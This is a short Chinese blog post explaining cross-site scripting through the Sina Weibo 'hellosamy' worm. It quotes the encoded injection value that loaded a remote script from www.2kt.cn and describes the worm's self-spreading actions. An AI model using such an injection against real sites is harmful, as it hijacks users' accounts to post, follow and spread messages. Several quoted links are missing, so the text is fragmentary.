全部博文(403)
2012年(403)
分类: 系统运维
2012-03-08 16:02:59
XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
Xss的例子(以新浪微博的6.9的hellosamy蠕虫事件为例):
sina的名人堂页面页面上存在这么个链接
其中uname并没有做htmlspecialchars。相当于是直接由用户输入,然后输出在页面上了。 这样的html就是存在xss漏洞 好了,这个漏洞被发现了,下面要利用它做什么呢? 1 将uname设置成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update 这样这个url就变成了 其中的引号被封闭了,然后这个页面自动运行了一段js脚本 这个js脚本做了这样的事情: 1 发送一个微博(这个是之所以成为蠕虫的原因,这个微博中附带着同样的一个连接) 2 加关注uid为2201270010 3 发私信,向好友传播链接 js的下载代码在 其中就是在打开的页面加入了